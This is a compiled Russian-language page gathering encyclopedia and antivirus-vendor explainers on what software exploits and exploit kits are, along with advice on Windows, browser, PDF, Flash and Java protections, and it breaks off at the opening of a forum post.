Эксплойты что это такое


Эксплойт — Википедия

Материал из Википедии — свободной энциклопедии

Текущая версия страницы пока не проверялась опытными участниками и может значительно отличаться от версии, проверенной 9 июня 2017; проверки требуют 22 правки. Текущая версия страницы пока не проверялась опытными участниками и может значительно отличаться от версии, проверенной 9 июня 2017; проверки требуют 22 правки.

Экспло́ит (англ. exploit, эксплуатировать) — компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Целью атаки может быть как захват контроля над системой (повышение привилегий), так и нарушение её функционирования (DoS-атака).

В зависимости от метода получения доступа к уязвимому программному обеспечению эксплоиты подразделяются на удалённые (англ. remote) и локальные (англ. local).

  • Удалённый эксплоит работает через сеть и использует уязвимость в защите без какого-либо предварительного доступа к уязвимой системе;
  • Локальный эксплоит запускается непосредственно в уязвимой системе, требуя предварительного доступа к ней. Обычно используется для получения взломщиком прав суперпользователя.

Атака эксплоита может быть нацелена на различные компоненты вычислительной системы — серверные приложения, клиентские приложения или модули операционной системы. Для использования серверной уязвимости эксплоиту достаточно сформировать и послать серверу запрос, содержащий вредоносный код. Использовать уязвимость клиента немного сложнее — требуется убедить пользователя в необходимости подключения к поддельному серверу (перехода по ссылке в случае если уязвимый клиент является браузером).

Эксплойты фактически предназначены для выполнения сторонних действий на уязвимой системе и могут быть разделены между собой следующим образом:

  1. Эксплоиты для операционных систем
  2. Эксплоиты для прикладного ПО (музыкальные проигрыватели, офисные пакеты и т. д.)
  3. Эксплоиты для браузеров (Internet Explorer, Mozilla Firefox, Opera и другие)
  4. Эксплоиты для интернет-продуктов (IPB, WordPress, VBulletin, phpBB)
  5. Эксплоиты для интернет-сайтов (facebook.com, hi5.com, livejournal.com)
  6. Другие эксплоиты

Эксплоит может распространяться в виде исходных текстов, исполняемых модулей или словесного описания использования уязвимости. Он может быть написан на любом языке программирования (наиболее часто использующиеся: C/C++, Perl, Python, PHP, HTML+JavaScript)[1].

Эксплоиты могут быть классифицированы также по типу используемой ими уязвимости, такой как: переполнение буфера, внедрение SQL-кода, межсайтовый скриптинг, подделка межсайтовых запросов и т. д.

Информация, полученная в результате обнаружения уязвимости, может быть использована как для написания эксплоита, так и для устранения уязвимости. Поэтому в ней одинаково заинтересованы обе стороны — и взломщик, и производитель взламываемого программного обеспечения. Характер распространения этой информации определяет время, которое требуется разработчику до выпуска заплатки.

После закрытия уязвимости производителем шанс успешного применения эксплоита начинает стремительно уменьшаться. Поэтому особой популярностью среди хакеров пользуются так называемые 0day эксплоиты, использующие недавно появившиеся уязвимости, которые еще не стали общеизвестны[2].

Связки эксплоитов представляют из себя пакет эксплоитов сразу под несколько программ (версий) и/или под разные уязвимости в них. В последних версиях связок производится выбор эксплоита именно под конкретную программу пользователя.

В большинстве случаев эксплоит-киты применяются для атак, использующих уязвимости браузеров или их дополнений (частыми целями, к примеру, являются Java, Flash и PDF[3]).

Также существуют наборы локальных эксплоитов для поднятия привилегий в атакованной системе. Фактически подобные наборы тоже являются связками, но в хакерской среде таковыми не считаются и не называются.

  • Mik. Сетевые эксплойты (рус.). netsecret.by (11 октября 2007). Дата обращения 31 августа 2009. (недоступная ссылка)
  • xeon. Эксплойты (рус.) (недоступная ссылка). Exploit.In.UA (18 февраля 2010). Дата обращения 18 февраля 2010. Архивировано 14 сентября 2009 года.

ru.wikipedia.org

Что такое эксплойты и почему их все так боятся?

Разработчики защитных решений часто упоминают в своих публикациях эксплойты как одну из самых серьезных проблем безопасности данных и систем, хотя и не всегда ясно, какова разница между эксплойтами и вредоносными программами в целом. Попробуем разобраться с этим вопросом.

Что такое эксплойт?

Эксплойты — это подвид вредоносных программ. Они содержат данные или исполняемый код, способный воспользоваться одной или несколькими уязвимостями в программном обеспечении на локальном или удаленном компьютере.

Например, у вас есть браузер, и есть уязвимость в нем, которая позволяет исполнить «произвольный код», то есть установить и запустить некую вредоносную программу на вашей системе без вашего ведома или спровоцировать какое-либо иное не ожидаемое вами поведение системы. Чаще всего первым шагом злоумышленников становится повышение привилегий, позволяющее делать в атакуемой системе все, что в голову взбредет.

Microsoft закрыла уязвимость нулевого дня в Windows и аж 41 дырку в Internet Explorer, но бреши еще остались: http://t.co/RzSNpPd3oH

— Kaspersky Lab (@Kaspersky_ru) February 12, 2015

Браузеры наряду с Flash, Java и Microsoft Office являются одними из самых подверженных атакам категорий программного обеспечения. Из-за их повсеместности их активно исследуют как эксперты по безопасности, так и хакеры, а разработчики браузеров вынуждены регулярно выпускать патчи для исправления уязвимостей. Лучше всего эти патчи устанавливать сразу, но, к сожалению, так происходит далеко не всегда — ведь при этом придется закрывать все вкладки.

Особую проблему, конечно, представляют собой эксплойты неизвестных уязвимостей, обнаруженных и использованных преступниками, — так называемые уязвимости нулевого дня. Может пройти много времени, прежде чем производители узнают о наличии проблемы и устранят ее.

Как происходит заражение

Следующая часть вполне техническая, так что не стесняйтесь проматывать, если только вам не в самом деле интересно, как это работает. Имейте в виду при этом, что киберпреступники часто предпочитают эксплойты прочим методам заражения, так как, в отличие от социальной инженерии, в которой все делается наудачу, эксплуатация уязвимостей неизменно дает желаемый результат.

Есть два способа «скормить» пользователям эксплойты. Во-первых, при посещении ими сайта, содержащего вредоносный код эксплойта. Во-вторых, при открытии пользователем безобидного на вид файла со скрытым вредоносным кодом. Как легко догадаться, во втором случае для доставки эксплойта, как правило, пользуются спамом или фишинговым письмом.

Почему фишинг получил такое распространение и как от него уберечься: http://t.co/sezy73TbSb

— Kaspersky Lab (@Kaspersky_ru) October 1, 2014

Как поясняется в статье Securelist, эксплойты предназначены для атаки конкретных версий программного обеспечения, содержащего уязвимости. Таким образом, если у пользователя нужная версия программного обеспечения при открытии вредоносного объекта или если веб-сайт использует это программное обеспечение для работы, то запускается эксплойт.

После того как он получает доступ посредством уязвимости, эксплойт загружает дополнительные вредоносные программы с сервера преступников, осуществляющие подрывную деятельность, такую как кража личных данных, использование компьютера в качестве элемента ботнета для рассылки спама или выполнения DDoS-атак и так далее.

Эксплойты представляют угрозу даже для осторожных и добросовестных пользователей, которые регулярно обновляют свое программное обеспечение. Причина кроется во временном зазоре между открытием уязвимости и выходом патча для ее исправления.

В этом интервале эксплойты могут свободно функционировать и угрожать безопасности почти всех интернет-пользователей при отсутствии установленных в системе автоматических средств предотвращения атак эксплойтов. Опять же, не будем забывать про синдром открытых вкладок — своевременное обновление программ зачастую требует от пользователя некоторых жертв, на которые не все готовы пойти сразу в момент выхода заплатки.

Эксплойты ходят стаями

Эксплойты часто упакованы вместе — так, чтобы проверить систему-мишень на широкий спектр уязвимостей. Как только выявляются одна или несколько, в дело вступают соответствующие эксплойты. Наборы эксплойтов также широко используют специальные методы запутывания кода (специалисты называют это умным словом «обфускация»), чтобы избежать обнаружения и замести интернет-адреса с целью помешать исследователям их вычислить.

Перечислим несколько наиболее известных наборов эксплойтов, или, как еще их называют, эксплойт-китов:

Angler — один из самых сложных наборов на черном рынке. Этот набор эксплойтов своим появлением изменил правила игры, после того как начал обнаруживать антивирусы и виртуальные машины (часто используемые экспертами по безопасности как приманки) и задействовать шифрованные файлы для затруднения исследования. Это один из тех наборов эксплойтов, которые быстрее всего включают в свой арсенал недавно открытые уязвимости нулевого дня, а его вредоносные программы работают в памяти, без записи на жестких дисках жертв. С техническим описанием пакета можно ознакомиться здесь.

В эксплойт-паке Angler появился 0-day-эксплойт для Flash https://t.co/XC09OunPKY pic.twitter.com/1PhFaa7iTT

— Евгений Касперский (@e_kaspersky_ru) January 23, 2015

Nuclear Pack — поражает жертв эксплойтами Java и Adobe PDF, а также подсаживает Caphaw — печально известный банковский троян. Подробнее читайте здесь.

Neutrino — набор от русскоязычных разработчиков, содержащий несколько эксплойтов Java. Neutrino прославился в прошлом году в связи с тем, что владелец выставил его на продажу по очень скромной цене — $34 тыс. Скорее всего, это было сделано после ареста некоего Paunch, создателя следующего набора, о котором мы хотим поговорить.

Blackhole Kit — наиболее распространенная веб-угроза в 2012 году, нацеленная на уязвимости в старых версиях браузеров Firefox, Chrome, Internet Explorer и Safari, а также многих популярных плагинов, таких как Adobe Flash, Adobe Acrobat и Java. После того как жертву заманили или перенаправили на страницу подсадки, запутанный JavaScript определяет содержимое машины жертвы и загружает те эксплойты, для которых данный компьютер уязвим.

Автор эксплойт-кита Blackhole арестован в России http://t.co/ueTC9k5NvX

— Евгений Касперский (@e_kaspersky_ru) October 9, 2013

Blackhole, в отличие от большинства других эксплойт-китов, даже удостоился отдельной статьи в «Википедии», хотя после ареста вышеупомянутого Paunch сам набор практически вышел в тираж.

Вывод

Как сказано выше, эксплойты — подвид вредоносных программ, но они обнаруживаются не всеми защитными программами. Для успешного обнаружения необходимо, чтобы защитное решение использовало поведенческий анализ — это единственный надежный метод борьбы с эксплойтами. Вредоносные программы могут быть многочисленными и разнообразными, но большинство из них имеют похожие черты поведения.

Что такое эксплойты и почему их все так боятся?

Tweet

Подобный метод используется в Kaspersky Internet Security и других продуктах «Лаборатории Касперского» — соответствующая часть наших защитных решений называется «Автоматическая защита от эксплойтов» (или AEP — Automatic Exploit Prevention). Характерное поведение эксплойтов помогает предотвратить заражение даже в случае эксплуатации ранее неизвестной уязвимости нулевого дня.

Более подробную информацию о технологии Automatic Exploit Prevention можно найти здесь.

www.kaspersky.ru

Что такое эксплойты и как от них защититься

Что такое эксплойты?

На стадии разработки во все программы и сети встраиваются механизмы защиты от хакеров по типу замков, предупреждающих несанкционированные посягновения извне. Уязвимость же похожа на открытое окно, пробраться через которое не составит большого труда для злоумышленника. В случае с компьютером или сетью злоумышленники могут установить вредоносное ПО, воспользовавшись уязвимостью, с целью получить контроль или инфицировать систему в своих корыстных целях с соответствующими последствиями. Чаше всего все это происходит без ведома пользователя.

Как возникают эксплойты?

Эксплойты вызываются ошибками в процессе разработки программного обеспечения, в результате которых в системе защиты программ оказываются уязвимости, которые успешно используются киберпреступниками для получения неограниченного доступа к самой программе, а через нее дальше - ко всему компьютеру. Эксплойты классифицируются в соответствии с типом уязвимости, которая используется хакером: нулевого дня, DoS, спуфинг или XXS. Разумеется, разработчики программ в скором времени выпустят обновления безопасности с целью устранения найденных дефектов, однако до этого момента программа является по-прежнему уязвимой для злоумышленников.

Как распознать эксплойт?

Так как эксплойты используют бреши в механизмах безопасности программ, у рядового пользователя практически нет шансов определить их наличие. Именно поэтому чрезвычайно важно поддерживать установленные программы обновленными, в особенности своевременно устанавливать обновления безопасности, выпускаемые разработчиками программ. В случае, если разработчик ПО выпустит обновление безопасности для устранения известной уязвимости в своем ПО, но пользователь не установит его, то, к сожалению, программа не получит необходимые самые последние вирусные определения.

Как устранить эксплойт?

Ввиду того, что эксплойты являются последствием совершенных недочетов, их устранение входит в прямые обязанности разработчиков, поэтому именно авторы должны будут подготовить и разослать исправление ошибок. Тем не менее, обязанность поддерживать установленные программы обновленными и своевременно устанавливать пакеты обновлений, чтобы не дать хакерам шансов воспользоваться уязвимостями, лежит полностью на пользователе программы. Одним из возможных способов не пропустить самые свежие обновления - использовать менеджер приложений, который позаботится о том, чтобы все установленные программы были обновлены, или - что еще лучше - воспользоваться инструментом автоматического поиска и установки обновлений.

Как пресечь попытки хакеров воспользоваться уязвимостями сторонних программ
  • Убедитесь, что вы установили самые свежие обновления безопасности и патчи для всех программ
  • Чтобы быть в безопасности онлайн и оставаться в курсе событий, устанавливайте все обновления сразу после их выпуска
  • Установите и используйте антивирус класса премиум, который способен автоматически обновлять установленные программы
Обезопасьте себя от эксплойтов

Полагайтесь на здравый смысл и следуйте базовым правилам безопасной работы в Интернете. Хакеры могут воспользоваться уязвимостью только в том случае, если им удастся получить доступ к вашему ПК. Не открывайте вложения в подозрительных сообщениях и не загружайте файлы из неизвестных источников. Поддерживайте установленные программы обновленными, а также своевременно устанавливайте обновления безопасности. Если хотите максимально упростить эту задачу, скачайте антивирус Avast, который не только обеспечит надежную защиту от всех типов вредоносного ПО, но и поможет с установкой самых свежих обновлений для сторонних программ.

www.avast.ru

Эксплойт - это... Что такое Эксплойт?

Эксплойт, эксплоит, сплоит (англ. exploit, эксплуатировать) — компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Целью атаки может быть как захват контроля над системой (повышение привилегий), так и нарушение её функционирования (DoS-атака).

Классификация

В зависимости от метода получения доступа к уязвимому программному обеспечению, эксплойты подразделяются на удалённые (англ. remote) и локальные (англ. local).

  • Удалённый эксплойт работает через сеть и использует уязвимость в защите без какого-либо предварительного доступа к уязвимой системе;
  • Локальный эксплойт запускается непосредственно в уязвимой системе, требуя предварительного доступа к ней. Обычно используется для получения взломщиком прав суперпользователя.

Атака эксплойта может быть нацелена на различные компоненты вычислительной системы — серверные приложения, клиентские приложения или модули операционной системы. Для использования серверной уязвимости эксплойту достаточно сформировать и послать серверу запрос, содержащий вредоносный код. Использовать уязвимость клиента немного сложнее — требуется убедить пользователя в необходимости подключения к поддельному серверу (перехода по ссылке в случае если уязвимый клиент является браузером).

Виды эксплойтов

Эксплойты, фактически, предназначены для выполнения сторонних действий на уязвимой системе и могут быть разделены между собой следующим образом:

  1. Эксплойты для операционных систем
  2. Эксплойты для прикладного ПО (музыкальные проигрыватели, офисные пакеты и т. д.)
  3. Эксплойты для браузеров (Internet Explorer, Mozilla Firefox, Opera и другие)
  4. Эксплойты для интернет-продуктов (IPB, WordPress, VBulletin, phpBB)
  5. Эксплойты для интернет-сайтов (facebook.com, hi5.com, livejournal.com)
  6. Другие эксплойты

Как выглядит эксплойт?

Эксплойт может распространяться в виде исходных текстов, исполняемых модулей, или словесного описания использования уязвимости. Он может быть написан на любом компилируемом или интерпретируемом языке программирования (наиболее частые: C/C++, Perl, PHP, HTML+JavaScript)[1].

Эксплойты могут быть классифицированы также по типу используемой ими уязвимости, такой как: переполнение буфера, SQL-инъекция, межсайтовый скриптинг, подделка межсайтовых запросов и т. д.

Актуальность

Информация, полученная в результате обнаружения уязвимости, может быть использована как для написания эксплойта, так и для устранения уязвимости. Поэтому в ней одинаково заинтересованы обе стороны — и взломщик, и производитель взламываемого программного обеспечения. Характер распространения этой информации определяет время, которое требуется разработчику до выпуска заплатки.

После закрытия уязвимости производителем шанс успешного применения эксплойта начинает стремительно уменьшаться. Поэтому особой популярностью среди хакеров пользуются так называемые 0day эксплойты, использующие недавно появившиеся уязвимости, которые еще не стали известны общественности[2].

Связки

Связки эксплойтов представляют из себя пакет эксплойтов сразу под несколько программ (версий) и/или под разные уязвимости в них. В последних версиях связок производится выбор эксплойта именно под конкретную программу пользователя.

См. также

Примечания

Ссылки

  • xeon Эксплойты  (рус.). Exploit.In.UA (18 февраля 2010).(недоступная ссылка — история) Проверено 18 февраля 2010.

dic.academic.ru

Что такое уязвимости и эксплойты: что нужно знать?

Автор Исхаков Максим На чтение 3 мин. Просмотров 45 Опубликовано

Эксплойты существуют за счет уязвимостей, которые, в свою очередь, прокладывают путь для них. Эти тесно связанные друг с другом концепции безопасности часто путают, но очень важно понять разницу и то, как каждая из них действует.

Что такое уязвимость?

Когда мы говорим об уязвимостях, то имеем в виду слабые места в программном коде. Уязвимости чаще всего встречаются в более старых ПО и до сих пор очень распространены. Злоумышленники легко находят их сканируя сеть. Уязвимости могут проникнуть в вашу систему, благодаря чему, злоумышленники смогут украсть ваши личные данные или вымогать деньги. Несмотря на то, что целевые атаки все же случаются, большинство кибер-атак – это случайные преступления. Поэтому помните, что киберпреступники всегда ищут уязвимые и слабые места.

Как минимизировать уязвимости?

Лучший способ уменьшить количество уязвимостей в системе – постоянно обновлять все программное обеспечение.

  • Автоматическое обновление: Настройте автоматическое обновления для всех программ и систем инфраструктуры. Не стоит полагаться на ручное обновление.
  • Антивирус: Вложите средства в антивирусную программу, которая будет регулярно сканировать ваши системы и сообщать о появлении новой уязвимости, чтобы вы могли исправить ее или принять другие меры предосторожности.

Что такое эксплойт?

Уязвимость – это, по сути, открытая дверь, через которую может пройти эксплойт (компьютерная программа, использующая уязвимость). Другими словами, для успеха эксплойта требуются уязвимости. Эксплойты полагаются на ошибки и просчеты – устаревшее программное обеспечение, неактуальные серверы и т.д.

Как защититься от эксплойтов?

Есть несколько ключевых шагов, которые вы можете предпринять, чтобы значительно снизить возникновение потенциальных эксплойтов.

  • Многофакторная аутентификация. Эта система контролирует доступ к компьютеру через мобильные устройства или специальное оборудование, где необходимо пройти более одного доказательства аутентификации. Благодаря ей, злоумышленникам придется непросто, а возможность взлома вашей системы стремиться к нулю.
  • Блокировка учетных данных. Если злоумышленники будут настойчиво подбирать пароли, то, в конечном счете, они это сделают. Поэтому настоятельно рекомендуется использовать блокировку после определенного количества попыток взлома пароля.
  • Непрерывный мониторинг. Это означает, что вы будете знать, когда в ваших системах происходит что-то подозрительное и принять незамедлительные меры, чтобы положить этому конец.

Любой пользователь, который часто взаимодействует с интернетом, должен понимать простые основы уязвимостей и эксплойтов. Конечно, идеальной безопасности не существует. Всегда будет появляться новая угроза. Как человек, так и машина, могут невольно открыть путь для атак. Поэтому, чтобы максимально уменьшить риски, сначала нужно минимизировать уязвимости, а затем защищаться от эксплойтов, как описано выше.

На видео:Exploit.RTF.CVE-2012-0158: самый опасный в мире вирус или почему так важно обновлять свой софт

bezopasnik.info

Защита от эксплойтов для пользователей Windows / ESET NOD32 corporate blog / Habr

Эксплойты представляют из себя особый вид вредоносного ПО, которое используется злоумышленниками для установки различных троянских программ или бэкдоров на компьютер пользователя. Такая операция установки с использованием эксплойтов осуществляется незаметно для пользователя, что дает злоумышленникам неоспоримые преимущества. Эксплойт пытается использовать уязвимость в том или ином компоненте ОС для проведения подобной операции.

Для пользователя наиболее опасным сценарием является использование злоумышленниками эксплойта, который позволяет удаленно установить код в ОС. В таком случае человеку достаточно посетить скомпрометированный веб-ресурс для заражения вредоносным кодом (drive-by). Если на вашем компьютере установлена уязвимая версия ПО: браузера или плагинов к нему, то вероятность того, что вы сможете заразиться вредоносным кодом очень высока.

Обновлять ОС, а также установленное ПО является хорошей практикой поскольку производители регулярно закрывают вновь появляющиеся в нем уязвимости. К числу компонентов, через которые пользователь подвергается особому риску, можно отнести следующие:

  • Браузеры (MS Internet Explorer, Google Chrome, Apple Safari OS X, Mozilla Firefox и др.).
  • Плагины для браузеров (Adobe Flash Player, Oracle Java, MS Silverlight).

В случае особых таргетированных атак или атак типа «watering hole», злоумышленники могут использовать 0day уязвимости в ПО и ОС. Подобное название носят уязвимости, которые на момент использования их злоумышленниками еще не были закрыты вендором.

Антивирусные продукты умеют обнаруживать эксплойты по сигнатурам. Таким образом он позволяет защитить пользователя от вредоносного контента на лету, заблокировав соответствующую веб-страницу с вредоносным содержимым.

Современные выпуски Microsoft Windows: Windows 7, 8 и 8.1 имеют встроенные механизмы, которые позволяют защитить пользователя от деструктивных действий эксплойтов. К таким возможностям относятся:

  • Механизмы DEP & ASLR, которые значительно затрудняют возможность эксплуатирования той или иной уязвимости в ПО и ОС за счет наложения ограничений на использование памяти не подлежащей исполнению и размещение программ в памяти по произвольным адресам. DEP & ASLR на Windows 7+ используются на максимально возможном уровне.
  • User Account Control, UAC, который был доработан начиная с Windows 7 и требует подтверждение от пользователя на запуск программ, которым необходимо изменение системных настроек и создание файлов в системных каталогах.
  • Фильтр SmartScreen для ОС (начиная с Windows 8 для ОС), который помогает предотвратить загрузку вредоносного ПО пользователем из интернета на основе его репутационной информации Microsoft.
  • Специальный «расширенный защищенный режим» (Enhanced Protected Mode) для браузера Internet Explorer (начиная с IE 10). На Windows 8 позволяет запускать вкладки браузера в контексте изолированных процессов, которые ограничены в выполнении определенных действий. Для Windows 7 x64 позволяет запускать вкладки браузера как отдельные 64-битные процессы.

PDF-файлы

Файлы, предназначенные для открытия в программах Adobe Reader, Acrobat имеют формат PDF и являются достаточно опасными, особенно, если получены из неблагонадежных источников. Adobe расширили PDF до маскимально возможного уровня, позволяя встраивать туда всевозможное содержимое. Одним из основных преимуществ использования документов в формата PDF является кроссплатформенность при условии доступности ридера (Adobe Reader) для необходимой вам платформы.

Во многих случаях злоумышленники используют именно вредоносные PDF-файлы для доставки вредоносных программ пользователю. В случае если используемая версия Adobe Reader является уязвимой, существует высокая вероятность заражения компьютера.

В виду высоких рисков использования PDF-документов из небезопасных источников, а также учитывая нерасторопность пользователей в вопросах безопасности, современные версии Adobe Reader имеют специальный «Защищенный режим» просмотра документов или «sandboxing» (Защита в изолированной программной среде). При использовании такого режима, коду из PDF файла полностью запрещается выполнение определенных потенциально опасных функций.


Рис. Настройки режима «sandbox» в Adobe Reader.

По умолчанию защищенный режим находится в отлюченном состоянии. Несмотря на активную галочку «Включить защищенный режим при запуске», он выключен поскольку опция использования этого режима находится в состоянии «Отключен». Соответственно после установки программы крайне рекомендуется перенести эту настройку в режим «Для файлов из потенциально небезопасных источников» или «Все файлы».

Обратите внимание, что при включении защищенного режима, Adobe Reader отключает ряд функций, которые могут быть использованы в PDF-файлах. Поэтому при открытии файла вы можете получить следующее уведомление.


Рис. Всплывающая подсказка, указывающая на активный защищенный режим просмотра.

В случае если вы уверенны в происхождении этого файл, вы можете активировать все его функции нажав соответствующую кнопку.

Adobe Flash Player

Злоумышленники очень любят Adobe Flash Player. Поскольку его плагины для проигрывания содержимого используются во всех браузерах, поиск уязвимостей в нем и последующеее их использование во вредоносных целях является крайне приоритетной задачей у злоумышленников.

Как и другое ПО от Adobe, Flash Player регулярно обновляется в рамках выпускаемых компанией серий обновлений (Adobe Security Bulletins). Большинство из этих уязвимостей имеют тип Remote Code Execution, это говорит о том, что злоумышленники могут использовать ту или иную уязвимость для удаленного исполнения кода.

Производители веб-браузеров как и Adobe не сидят на месте и встраивают специальные механизмы защиты от эксплойтов, которые используют плагины Flash Player. Такие браузеры как MS Internet Explorer (v10 на Windows 8), Google Chrome и Safari OS X (новейшей версии) запускают проигрыватель Flash Player в контексте sandbox-процесса (т. е. песочницы), ограничивая доступ этому процессу ко многим системным ресурсам, местам в файловой системе и работе с сетью.

Очень важной функцией является своевременное обновление плагина Flash Player для браузера. Такие браузеры как Google Chrome и Internet Explorer 10 автоматически обновляются с выходом новой версии Flash Player, таким образом проигрыватель для них будет обновлен автоматически.

Для проверки вашей версии Adobe Flash Player воспользуйтесь офиц. источником Adobe здесь.

Кроме этого, браузеры поддерживают возможность полного отключения плагина Flash Player, для запрещения браузеру проигрывать подобное содержимое. Мы уже писали развернутую статью о проблемах использования плагина Java в браузерах здесь. Отключение плагина Flash Player производится аналогичным образом.

Для Google Chrome.

«Настройки»->«Показать дополнительные настройки»->«Настройки контента»-> «Отключить отдельные модули».

Для Internet Explorer.

«Сервис»->«Настроить надстройки».

ESET Exploit Blocker

Является надстройкой над проактивной защитой в новейших версиях антивирусных продуктов седьмого поколения ESET Smart Security и ESET NOD32 Antivirus. В отличие от обычного статического обнаружения по сигнатурам, модуль Exploit Blocker анализирует поведение приложения на предмет совершения им подозрительных действий и приемов, которыми пользуются эксплойты. После обнаружения подобных действий, они подвергаются анализу и вредоносный процесс немедленно блокируется. Некоторые подобные действия подвергаются дополнительному анализу в нашем облаке, что предоставляет дополнительные возможности по защите пользователей от таргетированных атак и атак с применением 0day эксплойтов.

MS Internet Explorer и Google Chrome

Мы уже писали в начале нашего материала, что наиболее предпочтительным методом атаки на пользователей для злоумышленников является удаленное исполнение кода через браузер (drive-by download). Так или иначе, вне зависимости от установленных плагинов сам браузер может содержать и, потенциально, содержит определенное количество уязвимостей. Если уязвимость уже исследована разработчиками и для нее выпущено обновление, пользователь может установить обновление и не беспокоиться, что злоумышленники скомпрометируют его ОС. С другой стороны, если злоумышленники используют еще неизвестную уязвимость, т. е. ту, которая не была закрыта (0day), ситуация для пользователя осложняется.

Многие современные веб-браузеры и ОС имеют в своем составе технологию изоляции процесса приложения, не допуская таким образом выполнения каких-либо действий, которые браузеру выполнять не положено. В общем случае такая техника называется sandboxing и позволяет накладывать ограничения на действия, выполняемые процессом. Одним из примеров такой изоляции является тот факт, что современные браузеры (напр. Internet Explorer и Chrome) исполняют свои вкладки как отдельные процессы в ОС, позволяя таким образом задавать разрешение на выполнение тех или иных действий конкретной вкладке, а также обеспечивая стабильность работы самого браузера. В случае, если одна из вкладок зависнет, пользователь может завершить ее не завершая другие.

В современных версиях браузера MS Internet Explorer (IE10 & 11) имеется специальная технология sandboxing, которая называется «Enhanced Protected Mode» (Расширенный Защищенный Режим). Этот режим позволяет ограничивать действия процесса вкладки или плагина и таким образом затруднять возможности эксплуатации браузера для злоумышленников.


Рис. Режим sandboxing для Internet Explorer, который стал доступен начиная с 10-й версии.

Enhanced Protected Mode (EPM) был доработан для Windows 8. Если вы используете EPM в Windows 7 x64, то эта возможность обеспечивает запуск вкладок браузера как 64-битных процессов (по умолчанию IE запускает свои вкладки как 32-битные процессы). Заметьте, что по умолчанию EPM выключен.


Рис. Демонстрация работы EPM на Windows 7 x64 [с использованием MS Process Explorer]. С включенной опцией, процессы вкладок браузера запускаются как 64-битные, что затрудняет их возможность эксплуатации для установки вредоносного кода.

Начиная с Windows 8, Microsoft ввели поддержку изоляции действий процесса (sandboxing) на уровне ОС. Технология получила название «AppContainer» и позволяет максимально возможно использовать преимущества такого режима для EPM. Процессы вкладок Internet Explorer с активной функцией EPM работают в режиме AppContainer. Кроме этого, в Windows 8 режим EPM включен по умолчанию.


Рис. Демонстрация работы EPM на Windows 8, для вкладок включен AppContainer (aka sandboxing).


Рис. Различия в работе EPM на Windows 7 & 8.

Google Chrome как и IE также имеет специальные возможности по предотвращению атак типа drive-by download. Но в отличие от него, режим sandboxing для Chrome работает постоянно и не требует дополнительных действий по его включению со стороны пользователя.

Режим sandboxing для Chrome означает, что процессы вкладок запускаются с пониженными привилегиями, что не позволяет им выполнять различные системные действия.


Рис. Режим sandboxing как он реализован в Google Chrome. Почти все идентификаторы безопасности пользователей групп SID в маркере доступа имеют статус Deny, что запрещает процессу выполнять важные системные функции, разрешенные этим группам.


Рис. Chrome использует специальный объект задания, в который включаются все процессы браузера. Объект позволяет ограничивать действия приложения по отношению к ресурсам ОС, препятствуя эксплуатирование браузера злоумышленниками.

Кроме этого режима, Google Chrome имеет возможности по блокированию вредоносных URL-адресов или сайтов, которые были занесены в черный список Google как распространяющие вредоносное ПО (Google Safe Browsing). Такая возможность похожа на базу URL в Internet Explorer SmartScreen.


Рис. Google Safe Browsing в Google Chrome в действии.

Java

По отношению к браузеру и ОС представляет из себя виртуальную машину (или среду JRE) для исполнения приложений Java. Платформенная независимость таких приложений делает Java очень популярной в использовании, на сегодняшний день ее используют на более чем трех млрд. устройств.

Как и прочие плагины к браузеру, плагин Java является достаточно привлекательным к использованию для злоумышленников, а учитывая предыдущий опыт использования ими уязвимостей можно сказать, что Java представляет из себя наиболее опасный компонент из всех других плагинов браузера.

В нашем ранее опубликованном материале о проблемах использования Java на вашей системе мы писали каким образом можно отключить этот плагин для различных браузеров в случае, если вы не пользуетесь приложениями Java и не хотите подвергать себя опасности.

Когда вы используете Java на Windows, то настройки безопасности этой программы можно регулировать с использованием апплета на панели управления. Кроме этого, новейшие ее версии позволяют настраивать параметры безопасности более детально, что позволяет запускать только доверенные приложения.


Рис. Настройки обновлений для Java. Проверка обновлений включена по умолчанию, пользователь уведомляется перед операцией их загрузки.

Для полного отключения Java во всех используемых в системе браузерах следует снять настройку «Enable Java content in the browser» в апплете Java.


Рис. Снятие галочки «Enable Java content in browser» полностью отключает возможность использования плагинов в установленных браузерах.

EMET

Компания Microsoft выпускает бесплатный инструмент для пользователей, который поможет защитить ОС от методов атак, применяемых в эксплойтах.


Рис. Интерфейс EMET.

Инструмент Enhanced Mitigation Experience Toolkit (EMET) использует превентивные методы по блокированию различных действий эксплойтов для защиты приложений от атак. Несмотря на то, что современные Windows 7 и Windows 8 имеют встроенные, включенные по-умолчанию, возможности DEP и ASLR, направленные на смягчение (mitigation) последствий эксплуатирования, EMET позволяет ввести новые возможности блокирования действий эксплойтов, а также включить DEP или ASLR принудительно для нужных процессов (усилить защиту системы на более старых версиях ОС).

EMET настраивается отдельно для каждого приложения, т. е. чтобы защитить приложение через этот инструмент вам нужно задать его в соответствующем списке. Кроме этого имеется список приложений, для которых EMET включен по умолчанию, например, браузер Internet Explorer, Java, программы пакеты Microsoft Office.

Более подробную информацию об использовании EMET и обзор его возможностей см. на нашем корпоративном блоге.

ОС

Некоторые компоненты Windows, которым мы не уделяли особого внимание выше, также могут использоваться злоумышленниками для удаленного исполнения кода или повышения привилегий.


Рис. Статистика исправлений различных компонентов Windows в рамках месячных обновлений patch tuesday. Рейтинг показывает компоненты, которые обновлялись чаще остальных за первое полугодие 2013 года.

На приведенном выше рейтинге видно, что для браузера Internet Explorer закрывалось наибольшее количество уязвимостей, в рамках двенадцати обновлений было закрыто более пятидесяти уязвимостей, причем шесть из них имели статус is-being-exploited-in-the-wild на момент закрытия, т. е. находились в активной эксплуатации злоумышленниками.

Вторым наиболее исправляемым компонентом является известный драйвер подсистемы windows – win32k.sys, который обеспечивает работу графической системы ОС в режиме ядра. Уязвимости в этом компоненте используются злоумышленниками для повышения привилеги в системе, напр. обхода ограничений, накладываемых UAC.

Обратите внимание, что по умолчанию в Windows 7 & 8 имеется возможность автоматической доставки обновлений пользователю. Проверить обновления можно также через панель управления.

[1] The Security Architecture of the Chromium Browser link
[2] Understanding IE Enhanced Protected Mode link

habr.com

Исследование и анализ самых популярных эксплоитов и как защититься от них

Приветствую всех читателей форума! Сегодня я таки решился написать это, вопреки всем своим сомнениям и лени. А речь мы заведем о самых часто используемых эксплоитax для получения удаленного доступа. Каждый из них будет поочередно проанализирован и разобран для того, чтобы понять, как же защититься от этого.

